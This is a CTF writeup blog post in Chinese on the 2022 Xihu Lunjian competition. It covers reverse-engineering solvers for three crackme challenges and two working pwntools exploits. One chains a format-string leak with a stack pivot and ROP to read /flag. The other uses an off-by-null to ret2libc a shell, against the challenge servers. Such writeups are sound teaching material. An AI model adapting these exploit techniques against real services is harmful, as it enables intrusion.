Hexo
2022西湖论剑部分题目Writeup
发布于: 2023-02-02 更新于: 2023-05-16 分类于: 

题目链接详见:https://github.com/Randark-JMT/CTF_Archive/releases/tag/2022-xhlj

re 部分

dual personality

sub_401120 函数,将返回地址改成 jmp far 33:a2,跳转到64位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl sub_401120(size_t Size, int a2)
{
char *v2; // ebx
char *retaddr; // [esp+D0h] [ebp+4h]

dword_407050 = VirtualAlloc(0, Size + 6, 0x3000u, 0x40u);
dword_407000 = (int)dword_407050;
memcpy(dword_407050, retaddr, Size);
v2 = (char *)dword_407050 + Size;
*v2 = 0xE9;
*(_DWORD *)(v2 + 1) = &retaddr[Size] - v2 - 5;
v2[5] = 0xCC;
*retaddr = 0xEA;
*(_DWORD *)(retaddr + 1) = a2;
*(_WORD *)(retaddr + 5) = 0x33;
return 0;
}

需要在 call sub_401120的下一跳指令处下一个硬件断点

1
2
ba e1 004013E8
ba e1 00401467

注意到这一段是ret回来的,很像x64下的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
.text:0040146E 48                                         dec     eax
.text:0040146F 8B 04 25 C8 70 40 00 mov eax, dword_4070C8
.text:00401476 48 dec eax
.text:00401477 83 F8 20 cmp eax, 20h ; ' '
.text:0040147A 74 40 jz short loc_4014BC
.text:0040147C 48 dec eax
.text:0040147D 33 D2 xor edx, edx
.text:0040147F 48 dec eax
.text:00401480 B9 04 00 00 00 mov ecx, 4
.text:00401480 ; ---------------------------------------------------------------------------
.text:00401485 00 db 0
.text:00401486 00 db 0
.text:00401487 00 db 0
.text:00401488 ; ---------------------------------------------------------------------------
.text:00401488 00 48 F7 add [eax-9], cl
.text:0040148B F1 icebp
.text:0040148C 48 dec eax
.text:0040148D 8D 1C 25 14 70 40 00 lea ebx, ds:407014h
.text:00401494 8A 14 93 mov dl, [ebx+edx*4]
.text:00401497 48 dec eax
.text:00401498 8B 04 25 C8 70 40 00 mov eax, dword_4070C8
.text:0040149F 48 dec eax
.text:004014A0 8D 1C 25 60 70 40 00 lea ebx, ds:407060h
.text:004014A7 8A 0C 03 mov cl, [ebx+eax]
.text:004014AA 32 CA xor cl, dl
.text:004014AC 88 0C 03 mov [ebx+eax], cl
.text:004014AF 48 dec eax
.text:004014B0 FF C0 inc eax
.text:004014B2 48 dec eax
.text:004014B3 89 04 25 C8 70 40 00 mov dword_4070C8, eax
.text:004014BA EB B2 jmp short loc_40146E
.text:004014BC ; ---------------------------------------------------------------------------
.text:004014BC
.text:004014BC loc_4014BC: ; CODE XREF: .text:0040147A↑j
.text:004014BC 44 inc esp
.text:004014BD B8 00 70 40 00 mov eax, offset dword_407000
.text:004014C2 48 dec eax
.text:004014C3 FF 28 jmp fword ptr [eax]

main函数扣掉x64的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-8h] [ebp-148h]
int v5; // [esp-4h] [ebp-144h]
int v6; // [esp+0h] [ebp-140h]
int v7; // [esp+4h] [ebp-13Ch]
char Buf2[44]; // [esp+D0h] [ebp-70h] BYREF
int v9; // [esp+FCh] [ebp-44h]
int v10; // [esp+100h] [ebp-40h]
int v11; // [esp+104h] [ebp-3Ch]
int v12; // [esp+108h] [ebp-38h]
int v13; // [esp+10Ch] [ebp-34h]
int v14; // [esp+110h] [ebp-30h]
int v15; // [esp+114h] [ebp-2Ch]
int v16; // [esp+118h] [ebp-28h]
char v17; // [esp+11Ch] [ebp-24h]
int i; // [esp+128h] [ebp-18h]
char *v19; // [esp+134h] [ebp-Ch]

((void (*)(void))sub_401000)();
sub_401620("%99s", byte_407060);
sub_401120(7u, (int)dword_4011D0);
dword_407058 -= 559038737;
v19 = byte_407060;
for ( i = 0; i < 8; ++i )
{
*(_DWORD *)&v19[4 * i] += dword_407058;
dword_407058 ^= *(_DWORD *)&v19[4 * i];
}
MK_FP(*((_WORD *)&byte_40700C + 2), byte_40700C)(byte_407060, 0, v4, v5, v6, v7);
sub_401120(7u, (int)dword_401290);
v9 = 0;
v10 = 0;
v11 = 0;
v12 = 0;
v13 = 0;
v14 = 0;
v15 = 0;
v16 = 0;
v17 = 0;
Buf2[0] = -86;
Buf2[1] = 79;
Buf2[2] = 15;
Buf2[3] = -30;
Buf2[4] = -28;
Buf2[5] = 65;
Buf2[6] = -103;
Buf2[7] = 84;
Buf2[8] = 44;
Buf2[9] = 43;
Buf2[10] = -124;
Buf2[11] = 126;
Buf2[12] = -68;
Buf2[13] = -113;
Buf2[14] = -117;
Buf2[15] = 120;
Buf2[16] = -45;
Buf2[17] = 115;
Buf2[18] = -120;
Buf2[19] = 94;
Buf2[20] = -82;
Buf2[21] = 71;
Buf2[22] = -123;
Buf2[23] = 112;
Buf2[24] = 49;
Buf2[25] = -77;
Buf2[26] = 9;
Buf2[27] = -50;
Buf2[28] = 19;
Buf2[29] = -11;
Buf2[30] = 13;
Buf2[31] = -54;
Buf2[32] = 0;
if ( !memcmp(byte_407060, Buf2, 0x20u) )
{
puts("Right, flag is DASCTF{your input}");
exit(0);
}
puts("Wrong flag");
return 0;
}

第一段x64代码

1
2
3
4
5
6
7
__int64 sub_0()
{
MEMORY[0x40705C] = NtCurrentPeb()->BeingDebugged;
if ( !MEMORY[0x40705C] )
MEMORY[0x407058] = 1576625838;
return MK_FP(MEMORY[0x407008], MEMORY[0x407000])();
}

第二段扣掉的x64的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall sub_30(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5)
{
_QWORD *retaddr[2]; // [rsp+8h] [rbp+8h]

if ( MEMORY[0x40705C] )
{
*retaddr[1] = __ROL8__(*retaddr[1], 32);
retaddr[1][1] = __ROL8__(retaddr[1][1], 32);
retaddr[1][2] = __ROL8__(retaddr[1][2], 32);
retaddr[1][3] = __ROL8__(retaddr[1][3], 32);
}
else
{
*retaddr[1] = __ROL8__(*retaddr[1], 12);
retaddr[1][1] = __ROL8__(retaddr[1][1], 34);
retaddr[1][2] = __ROL8__(retaddr[1][2], 56);
retaddr[1][3] = __ROL8__(retaddr[1][3], 14);
}
return MK_FP(retaddr[0], retaddr[0])(a1, a2, a3, a4, a5);
}

第三段扣掉的x64代码

1
2
3
4
5
6
7
8
9
10
11
12
__int64 sub_160()
{
__int64 v0; // rax

while ( MEMORY[0x4070C8] != 32i64 )
{
v0 = MEMORY[0x4070C8];
*(_BYTE *)(MEMORY[0x4070C8] + 0x407060i64) ^= *(_BYTE *)(4 * (MEMORY[0x4070C8] % 4ui64) + 0x407014);
MEMORY[0x4070C8] = v0 + 1;
}
return MK_FP(MEMORY[0x407008], MEMORY[0x407000])();
}

先用magic运算,再ror,再异或

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from Crypto.Util.number import *
def ROL(int_value, k, bit=64):
bit_string = '{:0%db}' % bit

bin_value = bit_string.format(int_value) # 8 bit binary

bin_value = bin_value[k:] + bin_value[:k]

int_value = int(bin_value, 2)

return int_value


# right circular shift

def ROR(int_value, k, bit=64):
bit_string = '{:0%db}' % bit

bin_value = bit_string.format(int_value) # 8 bit binary

bin_value = bin_value[-k:] + bin_value[:-k]

int_value = int(bin_value, 2)

return int_value

# magic = [0x04,0x77,0x82,0x4a]
magic = 0x4a8277044a827704
enc = [0x549941E4E20F4FAA, 0x788B8FBC7E842B2C, 0x708547AE5E8873D3, 0xCA0DF513CE09B331]
for i in range(len(enc)):
enc[i] ^= magic
enc[0] = ROR(enc[0],12)
enc[1] = ROR(enc[1],34)
enc[2] = ROR(enc[2],56)
enc[3] = ROR(enc[3],14)
magic2 = 0x3ca7259d
raw = b''
print(hex(enc[0]))
for i in range(4):
raw += long_to_bytes(((enc[i] & 0xffffffff) - magic2 ) % 0x100000000)[::-1]
raw += long_to_bytes(((enc[i] >> 32) - (magic2 ^(enc[i] & 0xffffffff)) )% 0x100000000)[::-1]
magic2 ^= enc[i] & 0xffffffff
magic2 ^= enc[i] >> 32
print(raw)
# 0x7d5549941e4e20f4
# 0x1e4e20f4


babyre

所有逻辑在initterm_e里面

initterm_e可以看作init_array

有三个函数,同时按顺序注册了退出函数

第一个函数,限制了输入范围在[0-9]

1
2
3
4
5
6
7
sub_4025A0("Input:", v2);
sub_402620("%99s", (char)Str);
for ( i = 0; i < strlen(Str); ++i )
{
if ( Str[i] < '0' || Str[i] > '9' )
ExitProcess(0);
}

第二个函数 取反了magic,即变成了”012345678”

1
2
for ( i = 0; i < 8; ++i )
magic1[i] = ~magic1[i];

第三个函数hook了GetLastError,执行了

1
qmemcpy(magic2, "dcbahgfelkjiponm", sizeof(magic2));

退出的第一个函数,做了类似base64的编码,base8,每三个字节编码到8个字节,将[16:112]的加密结果进行比对,即知道了[6:42]

1
2
base8_encode(Str, (int)&unk_4081C0);
result = memcmp(&unk_4081D0, a16230465152334, 96u);// 915572239428449843076691286116796614

退出的第二个函数,将编码后的结果进行魔改的SHA1? 计算,但是跑一下很久,很奇怪?

退出的第三个函数,RC4加密

1
2
3
4
rc4_init((sbox, (int)&unk_408182, 6u);
rc4_crypt(sbox, (int)&unk_4084C0, 112u);
if ( memcmp(&unk_4084C0, byte_408090, 112u) )
ExitProcess(0);

这里的dword_408182正好是输入的字符串str[42:48]

爆rc4密钥反推前6个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <stdio.h>

void rc4_init(unsigned char*s,unsigned char*key, unsigned long Len)
{
int i=0,j=0;
//char k[256]={0};
unsigned char k[256]={0};
unsigned char tmp=0;
for(i=0;i<256;i++) {
s[i]=i;
k[i]=key[i%Len];
}
for(i=0;i<256;i++) {
j=(j+s[i]+k[i])%256;
tmp=s[i];
s[i]=s[j];//交换s[i]和s[j]
s[j]=tmp;
}
}

void rc4_crypt(unsigned char*s,unsigned char*Data,unsigned long Len)
{
int i=0,j=0,t=0;
unsigned long k=0;
unsigned char tmp;
for(k=0;k<Len;k++)
{
i=(i+1)%256;
j=(j+s[i])%256;
tmp=s[i];
s[i]=s[j];//交换s[x]和s[y]
s[j]=tmp;
t=(s[i]+s[j])%256;
Data[k]^=s[t];
}
}

char payload[112] = {"1423106315032466162304651523346214431471150310701503207116032063140334661543446114434066142304661563446615430464"};
char final[112] = {0};
unsigned char cipher[] =
{
0x3F, 0x95, 0xBB, 0xF2, 0x57, 0xF1, 0x7A, 0x5A, 0x22, 0x61,
0x51, 0x43, 0xA2, 0xFA, 0x9B, 0x6F, 0x44, 0x63, 0xC0, 0x08,
0x12, 0x65, 0x5C, 0x8A, 0x8C, 0x4C, 0xED, 0x5E, 0xCA, 0x76,
0xB9, 0x85, 0xAF, 0x05, 0x38, 0xED, 0x42, 0x3E, 0x42, 0xDF,
0x5D, 0xBE, 0x05, 0x8B, 0x35, 0x6D, 0xF3, 0x1C, 0xCF, 0xF8,
0x6A, 0x73, 0x25, 0xE4, 0xB7, 0xB9, 0x36, 0xFB, 0x02, 0x11,
0xA0, 0xF0, 0x57, 0xAB, 0x21, 0xC6, 0xC7, 0x46, 0x99, 0xBD,
0x1E, 0x61, 0x5E, 0xEE, 0x55, 0x18, 0xEE, 0x03, 0x29, 0x84,
0x7F, 0x94, 0x5F, 0xB4, 0x6A, 0x29, 0xD8, 0x6C, 0xE4, 0xC0,
0x9D, 0x6B, 0xCC, 0xD5, 0x94, 0x5C, 0xDD, 0xCC, 0xD5, 0x3D,
0xC0, 0xEF, 0x0C, 0x29, 0xE5, 0xB0, 0x93, 0xF1, 0xB3, 0xDE,
0xB0, 0x70, 0x00
};
int main(){
for(int i = 0;i<1000000;i++){
char buffer[7] = {0};
// printf("%06d\n",i);
sprintf(buffer,"%06d",i);
char sbox[256] = {0};
char raw[112] = {0};
memcpy(raw,payload,112);
rc4_init(sbox,buffer,6);
rc4_crypt(sbox,(unsigned char*)raw,112);
if(!memcmp(raw + 16,cipher +16,0x60)){
printf("%d\n",i);
rc4_init(sbox,buffer,6);
rc4_crypt(sbox,cipher,112);
printf("%s",cipher);
exit(0);
}
}
}

得到正确的结果

1
2
807391
1523306115230466162304651523346214431471150310701503207116032063140334661543446114434066142304661563446615430464

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
magic = [0xCF, 0xCE, 0xCD, 0xCC, 0xCB, 0xCA, 0xC9, 0xC8]
for i in range(len(magic)):
magic[i] = 255 - magic[i]
print(magic)
p = ""
sb = "1523306115230466162304651523346214431471150310701503207116032063140334661543446114434066142304661563446615430464"
# sb = "162304651523346214431471150310701503207116032063140334661543446114434066142304661563446615430464"
flag = ""
for i in range(0,len(sb)):
p += bin(int(sb[i]))[2:].zfill(3)
for i in range(0,len(p),8):
flag += chr(int(p[i:i+8],2))
print(flag)
# 561516915572239428449843076691286116796614807391
# 807391

EasyVT

驱动部分打开了VT虚拟机,在sub_401C90#VMExit的处理函数。美化后如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
int sub_401C90()
{
int VM_EXIT_INSTRUCTION_LEN; // [esp+4h] [ebp-Ch]
int VM_EXIT_REASON; // [esp+8h] [ebp-8h]

VM_EXIT_REASON = vm_read(0x4402);
VM_EXIT_INSTRUCTION_LEN = vm_read(0x440C);
guest_eflags = vm_read(26656);
guest_esp = vm_read(26652);
guest_eip = vm_read(0x681E);
switch ( VM_EXIT_REASON )
{
case 10: // CPUID
handler_CPUID();
break;
case 18: // VMCALL
handler_VMCALL();
break;
case 19: // VMCLEAR
sub_F89DB2B0();
break;
case 20: // VMLAUNCH
sub_F89DB450();
break;
case 21: // VMPTRLD
sub_F89DB7B0();
break;
case 22: // VMPTRST
tea_init();
break;
case 23: // VMREAD
sub_F89DB970();
break;
case 24: // VMRESUME TEA
tea_enc();
break;
case 25: // VMWRITE,这条才是真正的初始化,VMXON,VMCLEAR dont'care
// 但是VMLAUNCH又要初始化一遍RC4 Key
sub_F89DBA90();
break;
case 26: // VMXOFF
cmp();
break;
case 27: // VMXON
sub_F89DB610();
break;
case 28: // Control-register accesses.
sub_F89DB1D0();
break;
default:
break;
}
vmwrite(0x681E, VM_EXIT_INSTRUCTION_LEN + guest_eip);
vmwrite(0x681C, guest_esp);
return vmwrite(0x6820, guest_eflags);
}

这个处理函数的上层用于设置和恢复环境,vmresume会恢复到虚拟机执行的位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.text:F89DBC10                 mov     _guest_eax, eax
.text:F89DBC15 mov guest_ecx, ecx
.text:F89DBC1B mov guest_edx, edx
.text:F89DBC21 mov guest_ebx, ebx
.text:F89DBC27 mov guest_esp, esp
.text:F89DBC2D mov guest_ebp, ebp
.text:F89DBC33 mov guest_esi, esi
.text:F89DBC39 mov guest_edi, edi
.text:F89DBC3F pushf
.text:F89DBC40 pop eax
.text:F89DBC41 mov guest_eflags, eax
.text:F89DBC46 mov ax, fs
.text:F89DBC49 mov fs, ax
.text:F89DBC4C mov ax, gs
.text:F89DBC4F mov gs, ax
.text:F89DBC52 call sub_F89DBC90
.text:F89DBC57 mov eax, _guest_eax
.text:F89DBC5C mov ecx, guest_ecx
.text:F89DBC62 mov edx, guest_edx
.text:F89DBC68 mov ebx, guest_ebx
.text:F89DBC6E mov esp, guest_esp
.text:F89DBC74 mov ebp, guest_ebp
.text:F89DBC7A mov esi, guest_esi
.text:F89DBC80 mov edi, guest_edi
.text:F89DBC86 vmresume

应用程序方面,由于已经在虚拟机内了,执行这些虚拟化指令均会导致#VMExit,执行上述处理函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.text:00401111 loc_401111:                             ; CODE XREF: _main+97↓j
.text:00401111 mov eax, [ebp-0Ch]
.text:00401114 add eax, 1
.text:00401117 mov [ebp-0Ch], eax
.text:0040111A
.text:0040111A loc_40111A: ; CODE XREF: _main+4F↑j
.text:0040111A cmp dword ptr [ebp-0Ch], 4
.text:0040111E jge short loc_401159
.text:00401120 mov eax, offset Buffer
.text:00401125 mov ecx, [ebp-0Ch]
.text:00401128 mov esi, [eax+ecx*8]
.text:0040112B mov edi, [eax+ecx*8+4]
.text:0040112F vmxon [esp+0DCh+var_DC]
.text:00401134 vmclear [esp+0DCh+var_DC]
.text:00401139 vmptrld [esp+0DCh+var_DC]
.text:0040113D vmwrite eax, ecx
.text:00401140 vmlaunch
.text:00401143 vmread ecx, eax
.text:00401146 vmcall
.text:00401149 vmptrst [esp+0DCh+var_DC]
.text:0040114D vmresume
.text:00401150 vmxoff
.text:00401153 test eax, eax
.text:00401155 jz short loc_40116A
.text:00401157 jmp short loc_401111

所以按执行顺序分析#VMExitHandler即可。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#include <stdint.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>

unsigned char e[] =
{
0x94, 0x39, 0x07, 0x5C, 0xB3, 0x5C, 0x80, 0x0D, 0x86, 0xA5,
0xDD, 0x87, 0x8E, 0xFB, 0x17, 0x03, 0x29, 0xEF, 0x20, 0x65,
0xAF, 0x87, 0x49, 0x5A, 0xA4, 0xC2, 0x2D, 0xEB, 0x0E, 0x47,
0xCF, 0x38, 0
};

void Encrypt(uint32_t *v, uint32_t *k)
{
uint32_t v0 = v[1], v1 = v[0];
// printf("0x%x, 0x%x,\n", v[0], v[1]);
uint32_t sum = 0x20000000 - (32 * 0xC95D6ABF); /* 初始化 */
uint32_t delta = 0xC95D6ABF; /* 密钥调度常数 */
int n = 32; /* 轮数 */
while (n-- > 0)
{ /* 基本循环开始 */
sum += delta;
v0 -= ((v1 << 4) + k[2]) ^ (v1 + sum) ^ ((v1 >> 5) + k[0]);
v1 += ((v0 << 4) + k[1]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
}
/*循环结束*/
v[0] = v0;
v[1] = v1;
}
void Decrypt(uint32_t *v, uint32_t *k)
{
uint32_t sum, v0 = v[0], v1 = v[1];
int n = 32;
/*初始化*/
uint32_t delta = 0xC95D6ABF; /* 密钥调度常数*/
sum = 0x20000000;
/*即0xC6EF3720 */
while (n-- > 0)
{
/*基本循环开始*/
v1 -= ((v0 << 4) + k[1]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
v0 += ((v1 << 4) + k[2]) ^ (v1 + sum) ^ ((v1 >> 5) + k[0]);
sum -= delta;
}
/*循环结束*/
v[1] = v0;
v[0] = v1;
}

void rc4_init(unsigned char*s,unsigned char*key, unsigned long Len)
{
int i=0,j=0;
//char k[256]={0};
unsigned char k[256]={0};
unsigned char tmp=0;
for(i=0;i<256;i++) {
s[i]=i;
k[i]=key[i%Len];
}
for(i=0;i<256;i++) {
j=(j+s[i]+k[i])%256;
tmp=s[i];
s[i]=s[j];//交换s[i]和s[j]
s[j]=tmp;
}
}

void rc4_crypt(unsigned char*s,unsigned char*Data,unsigned long Len)
{
int i=0,j=0,t=0;
unsigned long k=0;
unsigned char tmp;
for(k=0;k<Len;k++)
{
i=(i+1)%256;
j=(j+s[i])%256;
tmp=s[i];
s[i]=s[j];//交换s[x]和s[y]
s[j]=tmp;
t=(s[i]+s[j])%256;
Data[k]^=s[t];
}
}




int main()
{ //多开一位 不然/0溢出到k了
uint8_t sbox[256] = {0};
uint32_t input[5] = {0};
uint32_t k[4] = { 0x00102030, 0x40506070, 0x8090A0B0, 0xC0D0E0F0};
char key [] = {"04e52c7e31022b0b"};
// Encrypt(input, k);
// Encrypt(input + 2, k);
// uint32_t enc[4] = {0xda55a5c4, 0x8cccfe38, 0x234d7d23, 0xb63debe2};
uint32_t* enc = (uint32_t*)e;
printf("0x%x, 0x%x,0x%x,0x%x \n", enc[0], enc[1], enc[2], enc[3]);
printf("0x%x, 0x%x,0x%x,0x%x \n", enc[4], enc[5], enc[6], enc[7]);

Encrypt(enc, k);
Encrypt(enc + 2, k);
Encrypt(enc + 4, k);
Encrypt(enc + 6, k);
// Encrypt(enc + 8, k);

printf("0x%x, 0x%x,0x%x,0x%x \n", enc[0], enc[1], enc[2], enc[3]);
printf("0x%x, 0x%x,0x%x,0x%x \n", enc[4], enc[5], enc[6], enc[7]);
rc4_init(sbox,key,strlen(key));
rc4_crypt(sbox,enc,8);
rc4_init(sbox,key,strlen(key));
rc4_crypt(sbox,enc + 2,8);
rc4_init(sbox,key,strlen(key));
rc4_crypt(sbox,enc + 4,8);
rc4_init(sbox,key,strlen(key));
rc4_crypt(sbox,enc + 6,8);
int tmp = 0;
tmp = enc[0];
enc[0] = enc[1];
enc[1] = tmp;

tmp = enc[2];
enc[2] = enc[3];
enc[3] = tmp;

tmp = enc[4];
enc[4] = enc[5];
enc[5] = tmp;

tmp = enc[6];
enc[6] = enc[7];
enc[7] = tmp;


puts((char *)enc);
}

pwn 部分

MessageBoard

迁移栈到bss段上,执行open + sendfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# coding=utf-8
import os

os.environ['PWNLIB_NOTERM'] = 'True'

from pwn import *

context.log_level = "debug"
context.terminal = ['/usr/bin/x-terminal-emulator', '-e']
context.arch = "amd64"

'''0x0000000000023b6a: pop rdi; ret; '''
pop_rdi = 0x0000000000023b6a

'''0x000000000002601f: pop rsi; ret; '''
pop_rsi = 0x000000000002601f

'''0x0000000000142c92: pop rdx; ret; '''
pop_rdx = 0x0000000000142c92

'''0x000000000010257e: pop rcx; pop rbx; ret; '''
pop_rcx_rbx = 0x000000000010257e



p = remote("tcp.cloud.dasctf.com",24809)

# p = process(['../xhljmessgeboard'])
elf = ELF('../xhljmessgeboard')
so = ELF("../libc.so.6")
p.recvuntil("name:")
p.sendline("%31$p")
# gdb.attach(p)
p.recvuntil("Hello, ")
addr = int(p.recv(14),16) - 243 - so.sym['__libc_start_main']
so.address = addr
# addr = u64(p.recv(6).ljust(8,"\x00")) - 243 - so.sym['__libc_start_main']
success("addr => " + hex(addr))
p.send(cyclic(0xb0) + p64(elf.bss(0x150)) + p64(0x401378))

payload = ''
payload += "/flag\x00\x00\x00" + p64(pop_rdi + addr) + p64(elf.bss(0x150) - 0xb0)
payload += p64(pop_rsi + addr) + p64(0) + p64(so.sym['open'])
payload += p64(pop_rdi + addr ) + p64(1)
payload += p64(pop_rsi + addr ) + p64(3)
payload += p64(pop_rdx + addr ) + p64(0)
payload += p64(pop_rcx_rbx + addr ) + p64(0x7fff) + p64(0)
payload += p64(so.sym['sendfile'])
payload = payload.ljust(0xb0,"\x00")
payload += p64(elf.bss(0x150)- 0xb0) + p64(0x4013a2)
p.send(payload)

p.interactive()

babycalc

off-by-null+ 任意写一个字节

1
2
3
4
5
6
7
for ( i = 0; i <= 15; ++i )
{
printf("number-%d:", (unsigned int)(i + 1));
buf[(int)read(0, buf, 0x100uLL)] = 0;
v0 = strtol(buf, 0LL, 10);
v3[i] = v0;
}

z3先上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from  z3 import  *
v5 = Int('v5')
v4 = Int('v4')
v3 = Int('v3')
v6 = Int('v6')
v13 = Int('v13')
v16 = Int('v16')
v8 = Int('v8')
v9 = Int('v9')
v8 = Int('v8')
v7 = Int('v7')
v10 = Int('v10')
v15 = Int('v15')
v18 = Int('v18')
v11 = Int('v11')
v12 = Int('v12')
v14 = Int('v14')
v17 = Int('v17')

s = Solver()
s.add(v5 * v4 * v3 - v6 == 36182)
s.add(v3 == 19)
s.add(v5 * 19 * v4 + v6 == 36322)
s.add((v13 + v3 - v8) * v16 == 32835)
s.add((v4 * v3 - v5) * v6 == 44170)
s.add((v5 + v4 * v3) * v6 == 51590)
s.add(v9 * v8 * v7 - v10 == 61549)
s.add(v10 * v15 + v4 + v18 == 19037)
s.add(v9 * v8 * v7 + v10 == 61871)
s.add((v8 * v7 - v9) * v10 == 581693)
s.add(v11 == 50)
s.add((v9 + v8 * v7) * v10 == 587167)
s.add(v13 * v12 * v11 - v14 == 1388499)
s.add(v13 * v12 * v11 + v14 == 1388701)
s.add((v12 * v11 - v13) * v14 == 640138)
s.add((v11 * v5 - v16) * v12 == 321081)
s.add((v13 + v12 * v11) * v14 == 682962)
s.add(v17 * v16 * v15 - v18 == 563565)
s.add(v17 * v16 * v15 + v18 == 563571)
s.add(v14 == 101)
s.add((v16 * v15 - v17) * v18 == 70374)
s.add((v17 + v16 * v15) * v18 == 70518)
print(s.check())
print(s.model())

修改返回地址低位到leave; ret;,同时rbp低位被清零,在远程环境下,rsp能刚好落在第一次输入的[0:0x100 - 0x30]附近

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# coding=utf-8
import os

os.environ['PWNLIB_NOTERM'] = 'True'

from pwn import *

context.log_level = "debug"
context.terminal = ['/usr/bin/x-terminal-emulator', '-e']
context.arch = "amd64"


# gdb.attach(p)
while True:
try:
p = remote("tcp.cloud.dasctf.com", 22492)
# p = process(['../babycalc'])
elf = ELF('../babycalc')
payload = "24\x00\x00" + p32(0)
payload += p64(0x0400BB8) * 20 + p64(0x400CA3) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x400C1A ) + p64(0x400789)
payload += p8(19) + p8(36) + p8(53) + p8(70) + p8(55) + p8(66) + p8(17) + p8(161)
payload += p8(50) + p8(131) + p8(212) + p8(101) + p8(118) + p8(199) + p8(24) + p8(3)
payload += p32(0x400BB8) * 1 + p64(0x400CA3) + p64(0x602000) + p64(0x4007B4) + p32(0x38)
p.send(payload)
p.recvuntil("good done\n")
puts = u64(p.recv(6).ljust(8,"\x00"))
success("puts => " + hex(puts))
addr = puts - 0x06f6a0
success("base => " + hex(addr))
system = puts - 0x06f6a0 + 0x453a0
str_bin_sh = puts - 0x06f6a0 + 0x18ce57
payload = "24\x00\x00" + p32(0)
# payload += p64(0x0400BB8) * 20 + p64(0x400CA3) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x400789) + p64(0x400789)

payload += p64(0x0400BB8) * 19 + p64(0x400CA3) + p64(str_bin_sh) +p64(0x0400BB8) + p64(system) + p64(
0x400789) + p64(0x400789)
payload += p8(19) + p8(36) + p8(53) + p8(70) + p8(55) + p8(66) + p8(17) + p8(161)
payload += p8(50) + p8(131) + p8(212) + p8(101) + p8(118) + p8(199) + p8(24) + p8(3)
payload += p32(0x400BB8) * 1 + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x400789) + p32(0x38)
p.send(payload)
p.interactive()
except EOFError:
continue

--- 我是有底线的 ---